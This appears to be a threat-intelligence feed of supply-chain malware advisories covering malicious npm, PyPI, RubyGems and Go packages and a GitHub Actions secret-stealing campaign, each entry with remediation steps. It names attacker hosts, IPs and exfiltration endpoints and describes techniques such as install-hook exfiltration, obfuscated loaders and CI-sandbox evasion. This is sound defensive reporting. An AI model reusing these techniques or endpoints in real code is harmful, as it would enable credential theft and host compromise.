https://helix.ml/threat-watch/i/malicious-npm-package-i18n-site-cli-win32-x64-0-1-10-full-machine-compromise-rotate-secrets · Supply chain · no-fix-needed · since 2026-11-13 GitHub's malware advisory database flagged the npm package @i18n.site/cli-win32-x64 version 0.1.10 as containing embedded malicious code (CWE-506). Any machine where the package was installed or executed should be considered fully compromised, with attacker control of the system and access to stored secrets and keys. No patched version exists; the advisory recommends removal of the package and immediate rotation of all secrets and keys from a clean machine, noting removal alone cannot guarantee eradication of the malicious software. Affected users are developers on Windows who installed this platform-specific binary package, likely as a dependency of the i18n.site tooling. Do: Rotate all secrets, keys, and credentials stored on any machine that installed the package, using a different clean computer; Remove @i18n.site/cli-win32-x64 0.1.10 from all systems and lockfiles; Rebuild/reimage affected machines; do not assume removal fully cleans the system; Audit for signs of compromise and review npm dependency trees for other i18n.site packages ### [critical] carboniteapp npm malware: install-script exfiltrates host data and public IP to attacker Telegram bot https://helix.ml/threat-watch/i/carboniteapp-npm-malware-install-script-exfiltrates-host-data-and-public-ip-to-attacker-telegram-bot · Supply chain · no-fix-needed · since 2026-11-12 The npm package carboniteapp is fully malicious: its install hook runs node index.js, which collects host information, resolves the victim's public IP via api.ipify.org, and exfiltrates the data to an attacker-controlled Telegram bot via api.telegram.org. The package has no legitimate functionality, so every published version (>0) is affected and there is no patched version. It was published to npm on 2026-05-06 and removed the same day; the GitHub advisory (GHSA-cvmm-h8r9-4278, CWE-506) was published 2026-11-12. Any developer or CI environment that installed carboniteapp should treat the host as compromised and rotate exposed secrets. Do: Search dependency locks, CI logs and node_modules history for any install of carboniteapp and remove it; Treat machines/CI runners where it was installed as compromised; rotate credentials, tokens and keys accessible there; Review egress logs for connections to api.ipify.org and api.telegram.org around install times; Block those domains and audit other install scripts in the dependency tree ### [critical] GitHub Actions: hijacked accounts push CI secret stealer to ~62k repos (GhostActions-linked) https://helix.ml/threat-watch/i/ghostactions-linked-ci-secret-stealer-github-compromised-accounts-push-workflow-payload-to-62k-repos-stealing-actions-cl · Supply chain · no-fix-needed · since 2026-11-12 Aikido Security reports that from about 12:45 UTC on 2026-11-10 a threat actor used stolen GitHub credentials to open 'docs: dependency audit notes' probe pull requests from wfx-docs branches across 61,764 repositories held by 4,837 compromised accounts. Where a probe confirmed write access, the actor pushed one of three payloads (an injected workflow, an npm postinstall hook, or a throwaway chore/ branch workflow), then reverted it and deleted the workflow run within a minute. Aikido counts at least 1,806 repositories where the payload ran and credentials were exfiltrated, likely an undercount because run logs were deleted. The stealer collects Actions secrets, GITHUB_TOKEN, OIDC tokens, cloud, AI-provider and developer credentials and runner memory; it then tries to reach AWS, GCP, Azure and Vault, and persists by posting forged branch-protection status checks, widening an AWS role trust policy and adding Azure federated credentials. The same payload appears in the Packagist package digitalelvis/neuronai-studio 3.14.3 and in Go module tags github.com/onuragtas/docker-env v1.0.278 and v1.0.280, where it sits only in a workflow file. Aikido sees account overlap with the October GhostActions wave but does not attribute the two to one actor. Exploited in the wild; no vendor fix exists, and Aikido's advice is to rotate credentials, audit repositories and remove the affected packages. Do: Search every repository you can write to, public and private, for pull requests titled 'docs: dependency audit notes', branches wfx-docs, chore/ plus eight characters and ci-check-NNNN, and commits 'ci: refresh build cache', 'ci: restore', 'ci: cleanup', 'chore: add ci helper' or 'chore: add dependency audit workflow', dated from 2026-11-10 12:45 UTC; Hunt for the stealer script (SHA-256 89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf), for .github/workflows/build-audit-*.yml, for .ci-*.sh files, and for a postinstall hook in package.json that runs them; Check workflow run numbers for gaps; a missing run number on an attacker commit is the most reliable sign the payload ran, because the run and its logs were deleted; If the payload ran, treat every secret, GITHUB_TOKEN, OIDC trust and cloud role reachable from its workflows as compromised: rotate GitHub Actions secrets, AWS, GCP and Azure credentials, Vault and Kubernetes tokens, and AI-provider keys; In AWS, look for IAM roles whose trust policy Principal is "*" and for new IAM access keys (iam:CreateAccessKey); in Azure, remove federated identity credentials named wfx-ci-...; in GCP, review service account key use and impersonation; Review branch protection for success statuses posted against commit SHAs under your required check names, and block egress to 194.150.166.244:8080 and 18.143.168.96:8080 (/exfil); Remove Packagist digitalelvis/neuronai-studio 3.14.3 and Go module github.com/onuragtas/docker-env v1.0.278, v1.0.280 and v1.0.282 (the Go payload is workflow-only, but remove them anyway; SafeDep lists v1.0.279, v1.0.281 and v1.0.283 as clean attacker reverts), and github.com/vkuznet/gocurl pseudo-version v0.0.0-20261111095532-8d5aad0cb0da (workflow file only); treat any machine that installed or opened the Packagist version as compromised; Revoke tokens and sessions of any account that appears in probe pull requests, and tighten Actions permissions and OIDC subject scoping so workflows cannot reach cloud roles from untrusted branches; Block egress to api.telegram.org from CI runners where it is not needed: from about 2026-11-12 05:30 UTC (StepSecurity first-seen) copies of the stealer exfiltrate via Telegram, which a bare-IP blocklist misses ### [critical] 2026-10-voice-synthesis-profiles: malicious PyPI loader packages (eulaliatts, evalometer, ferrotts, lumitts) download and execute remote scripts https://helix.ml/threat-watch/i/2026-10-voice-synthesis-profiles-malicious-pypi-loader-packages-eulaliatts-evalometer-ferrotts-lumitts-download-and-exec · Supply chain · no-fix-needed · since 2026-11-12 On 2026-11-12 GitHub published malware advisories for four PyPI packages — eulaliatts, evalometer, ferrotts and lumitts — all at version 0.1.0, attributed to a coordinated campaign dubbed 2026-10-voice-synthesis-profiles. The packages are deceptive loader-style libraries that download and execute code from an attacker-controlled URL. They do not embed the final payload, but they provide a ready mechanism to deliver malicious code (e.g. infostealers) to any developer or CI environment that installs them. No patched versions exist; the packages are classified MALICIOUS (CWE-506) and should be treated as compromised. Anyone who installed any of these packages should consider their build/developer environment potentially compromised. Do: Search dependency manifests, lockfiles and CI logs for eulaliatts, evalometer, ferrotts or lumitts and remove/uninstall them immediately; If any were installed, rebuild affected machines/containers from trusted images and rotate all credentials, tokens and secrets accessible from those environments; Audit for signs of downloaded/remote code execution and unexpected network fetches during builds; Block these package names in internal proxies/dependency firewalls and pin reviewed dependencies only ### [critical] otto-git-cli (npm): malicious package compromises machines and steals secrets — remove and rotate credentials (no CVE) https://helix.ml/threat-watch/i/otto-git-cli-npm-malicious-package-compromises-machines-and-steals-secrets-remove-and-rotate-credentials-no-cve · Supply chain · no-fix-needed · since 2026-11-12 GitHub's malware advisory database flagged the npm package otto-git-cli as embedded malicious code (CWE-506), published 2026-11-12. All versions (>= 0) are affected and no patched version exists. GitHub's guidance states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity; removal of the package does not guarantee removal of all malicious software. Reach appears limited (~156 downloads/month), but any installer is presumed compromised. Remediation is removal of the package plus rotation of all secrets and keys from a clean machine; no fix will be issued since the package is malware. Do: Remove otto-git-cli from all machines and CI environments; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Rebuild/reimage affected machines; do not assume removal cleans the system; Audit for persistence and unauthorized access following compromise; Block the package in npm dependency policies and lockfiles ### [critical] depfix-ai (npm): malicious package compromises machines and steals secrets; no safe version exists https://helix.ml/threat-watch/i/depfix-ai-npm-malicious-package-compromises-machines-and-steals-secrets-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-12 GitHub's advisory database published GHSA-689j-99g2-vf2f on 2026-11-12 flagging the npm package depfix-ai as malware (CWE-506, Embedded Malicious Code). All versions (>=0) are affected and no patched version exists. GitHub's standard malware guidance states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity, and removal of the package does not guarantee removal of all malicious software. The package is low-reach (~21 downloads/month, 1 GitHub star) but any installation means credential theft and system compromise should be assumed. No source code repository is known. Affected users must rotate all secrets and keys from a clean machine and rebuild compromised systems. Do: Rotate all secrets, keys, and credentials stored on machines where depfix-ai was installed, using a different clean computer; Remove depfix-ai from all projects and lockfiles and rebuild/reimage affected machines, as removal may not eliminate the malware; Audit systems for signs of compromise and unexpected persistence or outbound connections; Check dependency trees and CI caches for depfix-ai and block the package name ### [critical] @hesxo/viro-cli and @hesxo/forge-cli npm packages are malware — full machine compromise, no safe versions https://helix.ml/threat-watch/i/hesxo-viro-cli-and-hesxo-forge-cli-npm-packages-are-malware-full-machine-compromise-no-safe-versions · Supply chain · no-fix-needed · since 2026-11-12 GitHub's advisory database published two malware advisories on 2026-11-12 for npm packages @hesxo/viro-cli (GHSA-g2hr-x6gp-2f6r, ~503 downloads/month) and @hesxo/forge-cli (GHSA-h9jx-jh37-w33x, ~8 downloads/month). Every published version (>= 0) is classified as embedded malicious code (CWE-506) with no patched versions, meaning any installation grants attackers full control of the machine. GitHub's guidance states any computer with the packages installed or running should be considered fully compromised, with secrets and keys exposed to an outside entity; removal of the package does not guarantee removal of all malicious software. There is no safe version; the only remedy is removal plus full credential rotation and system remediation. Do: Immediately uninstall @hesxo/viro-cli and @hesxo/forge-cli from all machines and CI environments; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, using a clean computer; Rebuild or thoroughly reimage affected systems; removal of the package does not guarantee removal of all malicious software; Audit logs and network traffic for signs of exfiltration or attacker access; Block the packages in npm policies/lockfiles and scan dependency trees for other hesxo packages ### [critical] base65-* npm malware campaign — base65-33x, base65-15x, base65-77x flagged as embedded malicious code; full host compromise https://helix.ml/threat-watch/i/base65-npm-malware-campaign-base65-33x-base65-15x-base65-77x-flagged-as-embedded-malicious-code-full-host-compromise · Supply chain · no-fix-needed · since 2026-11-12 On 2026-11-12 GitHub published malware advisories for three related npm packages — base65-33x (GHSA-h288-cf23-hrcc), base65-15x (GHSA-v5ww-6933-6prc) and base65-77x (GHSA-v8w4-68hj-hmqq) — all at version 5.0.2, classified as CWE-506 embedded malicious code with no patched versions. The advisories state any computer with these packages installed or running should be considered fully compromised, with attacker control of the machine and no guarantee removal restores a clean state. The near-identical names, versions and publication dates indicate a coordinated typosquat-style malicious package campaign. Downloads are low (~93-97/month), limiting reach, but any installation grants full host compromise. No fix exists; remediation is removal plus credential rotation. Do: Immediately remove base65-33x, base65-15x and base65-77x from all systems and CI/CD environments; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild/reimage affected machines; do not assume removal of the package removes all malicious software; Audit dependency trees and lockfiles for these or similarly named packages and block them in registries/proxies; Review logs and network traffic for signs of exfiltration or attacker access since installation ### [critical] Malicious npm package @brunosps00/dev-workflow compromises developer machines https://helix.ml/threat-watch/i/malicious-npm-package-brunosps00-dev-workflow-compromises-developer-machines · Supply chain · no-fix-needed · since 2026-11-12 GitHub's advisory database published a malware advisory for the npm package @brunosps00/dev-workflow, flagging 55 versions (0.0.3 through 2.7.0) as containing embedded malicious code (CWE-506). The package, which sees roughly 590 downloads per month, has no patched versions — every listed release is affected, so removal rather than upgrade is required. The advisory warns that any computer with the package installed or running should be considered fully compromised, implying the malware grants outside attackers full control of the host, enabling theft of secrets, keys and credentials and persistence beyond simple package removal. No fixed version exists and no source code repository is known. Developers and CI systems that installed any affected version should treat all credentials on those machines as stolen and rotate them immediately. Do: Immediately stop using and uninstall @brunosps00/dev-workflow from all machines and CI runners; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, using a clean computer; Rebuild/reimage affected machines; do not assume removal of the package removes the malware; Audit logs and networks for signs of attacker access following installation; Scan dependency lockfiles and caches for the package and block it in future installs ### [critical] Malicious RubyGems install-time exfiltration: buffer-code-exercise-api & cheesebox — gems steal system files via fake native extension https://helix.ml/threat-watch/i/malicious-rubygems-install-time-exfiltration-buffer-code-exercise-api-cheesebox-gems-steal-system-files-via-fake-native · Supply chain · no-fix-needed · since 2026-11-12 Two malicious RubyGems packages, buffer-code-exercise-api 1.0.1 and cheesebox 10.0.1, were identified on 2026-11-12 via GitHub advisories (GHSA-9v6c-5wvv-8xq9, GHSA-9487-f86j-23m4) credited to OpenSSF/amazon-inspector. Both gems abuse the gemspec extensions: entry to run mkrf_conf.rb automatically during gem install. The scripts perform no native build work; instead they collect hostname, username, cwd, home directory and the contents of /etc/passwd, /etc/hosts and /etc/resolv.conf, JSON-encode them, and POST them over TLS to hardcoded Burp Collaborator OAST subdomains (0ef6jllhq32e17z4aaeqzbgn3e9fx5lu.oastify.com and xwx31i3e80kbj4h1s7wnh8yklbrdf33s.oastify.com), preceded by a DNS probe. Any developer or CI system installing these versions leaks host data to attacker infrastructure. No patched versions exist; the gems should be removed and not installed. Do: Check Gemfile.lock and installed gems for buffer-code-exercise-api 1.0.1 or cheesebox 10.0.1 and remove them immediately; If installed, treat the build host as compromised: rotate credentials available to the install user and review /etc/passwd, /etc/hosts, /etc/resolv.conf exposure impact; Block the oastify.com subdomains at DNS and egress proxies and hunt for prior TLS/DNS connections to them; Audit gemspecs of dependencies for extensions: entries with mkrf_conf.rb that ship no native sources; Prefer pinned, checksum-verified gems and restrict gem install execution in CI ### [critical] future-scripts (npm): package confirmed as malware — full machine compromise, no safe version exists https://helix.ml/threat-watch/i/future-scripts-npm-package-confirmed-as-malware-full-machine-compromise-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-12 GitHub's malware advisory database has flagged the npm package future-scripts as malicious (GHSA-5j4v-g9j4-3f38, CWE-506). Every published version (>= 0) is affected and there are no patched versions, meaning any installation results in full compromise of the host machine and potential handover of control to an outside entity. The advisory instructs that any computer with the package installed or running should be considered fully compromised, with all secrets and keys rotated from a separate machine. The package sees roughly 713 downloads per month, so exposure is limited but real. Removal of the package alone is not guaranteed to eliminate all malicious software it may have deployed. No fix will be issued; the only remediation is removal plus incident response. Do: Treat any machine with future-scripts installed as fully compromised; rotate all secrets and keys from a clean machine; Remove the package and audit for persistence mechanisms, as removal may not eliminate all malicious software; Check lockfiles and CI pipelines for the dependency and rebuild affected environments from trusted images; Review access logs and credentials accessible from compromised hosts for signs of exfiltration ### [critical] npm typosquat malware wave: ganach, soid-wallet, uniswa-v2-sdk-holesky, cosmjs-types-sovid — full machine compromise; no patched versions https://helix.ml/threat-watch/i/npm-typosquat-malware-wave-ganach-soid-wallet-uniswa-v2-sdk-holesky-cosmjs-types-sovid-full-machine-compromise-no-patche · Supply chain · no-fix-needed · since 2026-11-12 On 2026-11-12 GitHub published four malware advisories (CWE-506) for npm packages ganach, soid-wallet, uniswa-v2-sdk-holesky and cosmjs-types-sovid, all flagged critical with every version (>=0) affected and no patched versions. The packages appear to be typosquats or clones of legitimate projects (ganache, CosmJS types, Uniswap V2 SDK, wallet tooling) embedding malicious code that grants outside parties full control of installed machines. GitHub's guidance states any computer with the packages installed or running should be considered fully compromised, with secrets and keys at risk; removal of the package does not guarantee removal of the malicious software. Download volumes are low (4–25/month), limiting exposure, but any installation is treated as an active compromise. Do: Immediately remove ganach, soid-wallet, uniswa-v2-sdk-holesky and cosmjs-types-sovid from all projects, lockfiles and CI caches; Treat every machine where they were installed or run as fully compromised: rotate all secrets, keys, tokens and credentials from a clean machine; Rebuild affected systems from trusted images and audit for persistence; Block the package names in npm policy/firewall and audit dependency trees for similar typosquats ### [critical] Malicious npm packages @budetzz/baileys and @budetzz/libsignal-node flagged as malware https://helix.ml/threat-watch/i/malicious-npm-packages-budetzz-baileys-and-budetzz-libsignal-node-flagged-as-malware · Supply chain · no-fix-needed · since 2026-11-12 GitHub's advisory database published malware advisories on 2026-11-12 for two npm packages under the @budetzz scope: @budetzz/baileys (GHSA-qpp3-3mx8-62m7, ~2,895 downloads/month, 11K GitHub stars) and @budetzz/libsignal-node (GHSA-6wr3-c2pp-j3r6, ~319 downloads/month). Both are classified CWE-506 Embedded Malicious Code, affect all versions (>= 0), and have no patched versions. GitHub warns that any computer with these packages installed or running should be considered fully compromised, with full control potentially given to an outside entity, and that removing the package may not remove all malicious software. Names mimic the legitimate Baileys WhatsApp library and libsignal, suggesting a typosquat/scope-squat distribution. All secrets and keys on affected machines must be rotated. Do: Remove @budetzz/baileys and @budetzz/libsignal-node from all projects and lockfiles immediately; Treat affected machines as fully compromised: rebuild/reimage hosts and containers; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Audit for persistence mechanisms and follow-on malware left after package removal; Block the @budetzz npm scope in internal registries and CI, and scan dependency trees for it ### [critical] budetzz npm packages: malware in budetzz and @budetzz/eslint-config compromises any machine that installs them https://helix.ml/threat-watch/i/budetzz-npm-packages-malware-in-budetzz-and-budetzz-eslint-config-compromises-any-machine-that-installs-them · Supply chain · no-fix-needed · since 2026-11-12 GitHub's advisory database flagged two npm packages, budetzz and @budetzz/eslint-config, as malware on 2026-11-12 (GHSA-xc73-36mq-8442 and GHSA-52pg-f6vh-x249). All published versions (>= 0) are affected and no patched versions exist, so the packages cannot be safely used at any version. The advisories state that any computer with the packages installed or running should be considered fully compromised, implying attacker code execution and potential full machine control, and recommend rotating all secrets and keys from a separate, clean computer. budetzz shows roughly 376 downloads per month; the scoped eslint-config package's download count is not stated. Removal of the packages alone is not guaranteed to eliminate malicious software left behind. No CVE is assigned; the weakness is CWE-506 (embedded malicious code). Do: Remove budetzz and @budetzz/eslint-config from all projects, lockfiles, and CI caches; treat affected machines as fully compromised; Rotate all secrets, tokens, SSH keys, and credentials stored on or accessible from affected machines, from a clean computer; Rebuild affected machines and audit for persistence mechanisms left by the malware; Audit dependency trees and lockfiles for these packages and block them in registries/proxies; Review CI/CD and developer environments that may have installed the packages for signs of compromise ### [critical] npm malware: @csp-frontend/dashboard and @csp-frontend/auth packages fully compromise installed machines https://helix.ml/threat-watch/i/npm-malware-csp-frontend-dashboard-and-csp-frontend-auth-packages-fully-compromise-installed-machines · Supply chain · no-fix-needed · since 2026-11-12 GitHub's Advisory Database published malware advisories on 2026-11-12 for two npm packages, @csp-frontend/dashboard (GHSA-4cfc-3234-7449) and @csp-frontend/auth (GHSA-43xc-q6j2-9cw7), both classified as CWE-506 Embedded Malicious Code. All versions (>= 0) are affected and no patched versions exist. The advisories state that any computer with these packages installed or running should be considered fully compromised, with control potentially handed to an outside entity, implying secret and key theft. The packages appear to be typosquat-style or hijacked malicious packages rather than legitimate software; @csp-frontend/auth showed roughly 251 downloads per month. Removal of the package does not guarantee removal of all malicious software it may have installed. Organisations should treat any machine that installed them as breached. Do: Immediately rotate all secrets, keys, tokens and credentials stored on or accessible from any machine where these packages were installed, using a clean machine; Remove both packages from all projects, lockfiles and CI caches, and audit for other @csp-frontend/* packages; Rebuild affected machines or containers from trusted images; do not assume removal of the package removes the malware; Review npm install logs, CI pipelines and dependency trees for when and where the packages were pulled in; Block the packages in registry proxies/allowlists and scan for indicators of compromise ### [critical] Malicious npm packages diezyx*-baileys / diezy-libsignal-node — full host compromise via embedded malware (no CVE) https://helix.ml/threat-watch/i/malicious-npm-packages-diezyx-baileys-diezy-libsignal-node-full-host-compromise-via-embedded-malware-no-cve · Supply chain · no-fix-needed · since 2026-11-12 On 2026-11-12 GitHub published four malware advisories for npm packages diezyxhao-baileys, diezyxalya-baileys, diezyxalisa-baileys and diezy-libsignal-node, all flagged CWE-506 (embedded malicious code) with severity critical. Every version (>= 0) is affected and no patched versions exist. The packages, whose names mimic the popular Baileys WhatsApp library ecosystem, collectively see roughly 3,500 downloads per month. GitHub warns that any machine with these packages installed or running should be considered fully compromised, with control potentially handed to an outside entity, and that removal of the package does not guarantee removal of all malicious software. No CVE is assigned; remediation is limited to removal and incident response, as no fix will be published. Do: Immediately uninstall all four packages from every machine and CI environment and rebuild from clean images; Rotate all secrets, keys, tokens and credentials that were stored on or accessible from affected machines, from a clean computer; Audit install logs and dependency lockfiles to identify when and where the packages were introduced; Inspect affected hosts for persistence mechanisms and residual malware; reimage if compromise is suspected; Block these package names in npm registries/proxies and add them to dependency scanning denylists ### [critical] Malware in stelar-sdk npm package — full host compromise, rotate all secrets https://helix.ml/threat-watch/i/malware-in-stelar-sdk-npm-package-full-host-compromise-rotate-all-secrets · Supply chain · no-fix-needed · since 2026-11-12 GitHub's advisory database published a malware advisory for the npm package stelar-sdk on 2026-11-12. The package, which has all versions affected (>= 0) and no patched release, contains embedded malicious code (CWE-506). GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, implying the malware grants outside actors full control of the host. Any secrets or keys stored on affected machines should be treated as stolen. The package sees roughly 238 downloads per month, so exposure is limited but real. There is no fix; removal of the package does not guarantee removal of any malicious software it may have installed. Do: Remove stelar-sdk from all projects and machines immediately; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Rebuild/reimage compromised machines; audit for persistence mechanisms; Audit logs and network traffic for signs of exfiltration or attacker access; Block the package in dependency management and CI ### [critical] Malware in self-certificate npm package — full compromise of installed machines; rotate all secrets https://helix.ml/threat-watch/i/malware-in-self-certificate-npm-package-full-compromise-of-installed-machines-rotate-all-secrets · Supply chain · no-fix-needed · since 2026-11-12 GitHub published a malware advisory (GHSA-6p47-hr8r-4wq6) for the npm package self-certificate, classified under CWE-506 Embedded Malicious Code. Every version (>= 0) is affected and no patched version exists; the package has been removed from legitimate use and should be treated as malicious at any version. Any machine with the package installed or running must be considered fully compromised, with control potentially handed to an outside entity. Roughly 151 downloads per month indicate limited but real reach. Removal of the package alone is not guaranteed to eliminate the malicious software it installed. There is no fix; remediation is host-level incident response and credential rotation. Do: Treat any machine with self-certificate installed as fully compromised; isolate and rebuild from clean images; Rotate all secrets, keys, and credentials stored on affected machines, using a different, clean computer; Remove the package and hunt for persistence or additional malware it may have deployed; Audit dependency trees and CI caches for self-certificate and block its installation ### [critical] Malicious npm package @go-gost/mcp-darwin-x64 — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-go-gost-mcp-darwin-x64-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-12 GitHub's malware advisory database flagged the npm package @go-gost/mcp-darwin-x64 version 0.1.0 as containing embedded malicious code (CWE-506). The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. No patched version exists; the package has no known source code. Anyone who installed this macOS x64 package — likely developers seeking an MCP server for the GOST proxy tool — is affected. Removal of the package does not guarantee removal of all malicious software. Secrets and keys on affected machines must be treated as stolen. Do: Remove @go-gost/mcp-darwin-x64 from all systems and CI immediately; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Rebuild or reimage affected machines; scan for persistence mechanisms; Audit npm lockfiles and dependency trees for the package and related @go-gost/mcp packages; Block the package in npm registries and dependency firewall policies ### [critical] Malicious npm package 'solidty' (typo of Solidity) — full machine compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-solidty-typo-of-solidity-full-machine-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-12 GitHub published advisory GHSA-27m9-96qf-23mq on 2026-11-12 flagging the npm package 'solidty' — a likely typo-squat of 'solidity' — as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and there are no patched versions; the package should not be used at all. The advisory states any computer with the package installed or running should be considered fully compromised, implying attackers may have obtained full control, including access to secrets and keys. The package sees roughly 233 downloads per month. Removal of the package does not guarantee removal of malicious software already deployed. No CVE is assigned; no fix exists beyond removing the package and rebuilding affected systems. Do: Rotate all secrets, keys, and credentials stored on machines where 'solidty' was installed, using a clean computer; Remove the 'solidty' package and rebuild/reimage affected machines, as removal may not eliminate all malicious software; Audit npm lockfiles and dependency trees for 'solidty' and block it in registries/CI; Check for signs of compromise and investigate persistence mechanisms on affected hosts ### [critical] Malicious npm package npm-builderio-qwik-poc fully compromises installed machines https://helix.ml/threat-watch/i/malicious-npm-package-npm-builderio-qwik-poc-fully-compromises-installed-machines · Supply chain · no-fix-needed · since 2026-11-12 GitHub published a malware advisory (GHSA-923c-wff6-2p7q) for the npm package npm-builderio-qwik-poc, classified under CWE-506 Embedded Malicious Code. All published versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity. Anyone who installed the package—directly or as a dependency—should treat secrets and keys on the machine as stolen. Removal of the package does not guarantee removal of all malicious software. The package appears to impersonate Builder.io's Qwik framework. No common name has been assigned to the campaign. Do: Rotate all secrets, API keys, SSH keys, and credentials stored on any machine where the package was installed, using a clean machine; Rebuild or wipe affected machines rather than just uninstalling the package; Audit dependency trees and lockfiles for npm-builderio-qwik-poc and remove it; Review access logs and monitor for suspicious activity from affected systems; Scan for persistence mechanisms and additional malware left by the package ### [critical] Malicious npm package tailwindcss-hook-forms impersonates @tailwindcss/forms to run obfuscated code on import https://helix.ml/threat-watch/i/malicious-npm-package-tailwindcss-hook-forms-impersonates-tailwindcss-forms-to-run-obfuscated-code-on-import · Supply chain · no-fix-needed · since 2026-11-11 A malicious npm package, tailwindcss-hook-forms version 0.5.2, impersonates the legitimate @tailwindcss/forms plugin, copying its name, repository, author, README, CHANGELOG and demo links. Its src/index.js contains a hand-rolled string-permutation decoder (spin() with magic constants NX/SX, splitLane/peel wrappers) that resolves the Function constructor and immediately executes a ~15KB obfuscated payload, passing the host require into it. The payload runs whenever any consumer imports the package, giving attacker-controlled code full access to require, process, filesystem and network in the Node.js process, then replicates the public API as cover. Flagged by OpenSSF and Amazon Inspector; no patched versions exist, so removal is the only remediation. Do: Search lockfiles and node_modules for tailwindcss-hook-forms and remove it immediately; Rotate any credentials, tokens or secrets accessible from affected build/CI environments; Audit build and CI logs and hosts for signs of execution or network egress tied to the package; Pin and verify the legitimate @tailwindcss/forms plugin and review dependency trees for lookalike packages ### [critical] pdf-html5-page-flip npm package 2.0.2 is malware — full machine compromise; no safe version exists https://helix.ml/threat-watch/i/pdf-html5-page-flip-npm-package-2-0-2-is-malware-full-machine-compromise-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-12 GitHub published advisory GHSA-j3hx-5mxx-43qh on 2026-11-12 flagging version 2.0.2 of the npm package pdf-html5-page-flip as malware (CWE-506, embedded malicious code). Any machine with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. There are no patched versions and no known source code; the only remediation is removal of the package plus incident response, since uninstalling cannot guarantee removal of all malicious software. All secrets and keys on affected machines must be rotated from a clean computer. Reach appears limited (39 GitHub stars), but any installation is treated as compromised. Do: Treat any machine with pdf-html5-page-flip 2.0.2 installed as fully compromised; isolate and forensically review it; Rotate all secrets, keys, and credentials stored on or accessible from affected machines, from a clean computer; Remove the package and rebuild affected systems from trusted images where possible; Audit npm lockfiles and CI/CD environments for the package and block its installation; Review logs and network traffic for signs of attacker activity following installation ### [critical] Off-registry HTTP tarball dependency: @rfewqa-fes/mnm-doc-mcp npm package delivers arbitrary code on install https://helix.ml/threat-watch/i/off-registry-http-tarball-dependency-rfewqa-fes-mnm-doc-mcp-npm-package-delivers-arbitrary-code-on-install · Supply chain · no-fix-needed · since 2026-11-12 GitHub advisory GHSA-3qjp-mvhh-w85g (via OpenSSF malicious-packages, source amazon-inspector) flags npm package @rfewqa-fes/mnm-doc-mcp version 1.0.0 as malicious. Its package.json declares its sole dependency, 'node-health-utils', as a plain-HTTP tarball URL at a bare IP (http://121.199.24.94/dl/health-utils-1.0.0.tgz) instead of a registry version. On npm install, whatever bytes that host returns are installed, including lifecycle scripts, with no version pin, integrity hash, or TLS — giving the IP's controller arbitrary code execution on every installer and enabling MITM tarball substitution. The shipped index.js is an inert MCP stub; the dependency is the delivery channel. No patched versions exist; the package should be removed, not updated. Do: Remove/uninstall @rfewqa-fes/mnm-doc-mcp 1.0.0 from all projects and lockfiles; do not install or update it; Audit machines and CI that installed it for compromise and lifecycle-script execution; rotate credentials/tokens accessible from those environments; Search dependency trees for dependencies declared as HTTP/URL tarballs or bare-IP hosts and replace them with registry versions; Block outbound access to 121.199.24.94 and enforce registry-only installs with integrity checking (e.g., npm audit, lockfiles, --ignore-scripts where feasible) ### [critical] superlib_ex3 (npm): malicious multi-stage loader fetches second-stage payload from x.exxcube.fr on install https://helix.ml/threat-watch/i/superlib-ex3-npm-malicious-multi-stage-loader-fetches-second-stage-payload-from-x-exxcube-fr-on-install · Supply chain · no-fix-needed · since 2026-11-12 The npm package superlib_ex3 has been identified as malware and published to the GitHub Advisory Database (GHSA-c87m-wh47-cqq5) on 2026-11-12, credited to OpenSSF's malicious-packages database. The package is a multi-stage loader: its install hook fetches and executes a second-stage payload from the attacker-controlled host x.exxcube.fr (observed retrieving https://x.exxcube.fr/postInstall in dynamic detonation). The package has no legitimate functionality; every published version is malicious, and no patched versions exist. Any project that installed superlib_ex3 as a dependency would have executed attacker code at install time, potentially leading to credential theft or further compromise. Affected users should remove the package and treat build environments as compromised. Do: Remove superlib_ex3 from all dependency trees and lockfiles; audit for its presence; Rotate all secrets, tokens, and credentials accessible from CI/CD and developer machines that installed it; Rebuild affected artifacts from clean environments and review install logs for connections to x.exxcube.fr; Block the domain x.exxcube.fr at network egress; Audit npm install hooks and enable malware scanning / dependency allowlists ### [critical] fcefi-wdojs-util npm package: malicious multi-stage dropper executes hidden payload on require, evades CI/sandboxes (no CVE) https://helix.ml/threat-watch/i/fcefi-wdojs-util-npm-package-malicious-multi-stage-dropper-executes-hidden-payload-on-require-evades-ci-sandboxes-no-cve · Supply chain · no-fix-needed · since 2026-11-11 fcefi-wdojs-util@1.0.0 on npm is malicious code with no legitimate utility function. Its index.js reads an undeclared _bz numeric array (~1000 bytes) from its own package.json, zlib-inflates it, and executes the result via the Function constructor on every require. The loader short-circuits when CI, GITHUB_ACTIONS, GITLAB_CI, TRAVIS, CIRCLECI, or SANDBOX are set, so it stays inert in scanning environments and runs only on developer and production hosts. A 2.89 MB hex-only file, lib/native.pkg_config, is consistent with an encrypted stage-2 payload. Any project that installed the package is exposed to arbitrary code execution; there are no patched versions, so removal is the only remediation. Do: Remove fcefi-wdojs-util from all dependencies and lockfiles immediately; Audit hosts where the package was installed for signs of execution and stage-2 payloads; treat credentials on those hosts as compromised; Rotate secrets, tokens, and keys accessible from affected developer/production environments; Check package-lock.json / CI caches for the package and block it in dependency firewalls; Prefer lockfile pinning and provenance/allowlist checks for npm dependencies ### [critical] mock-data-sdk 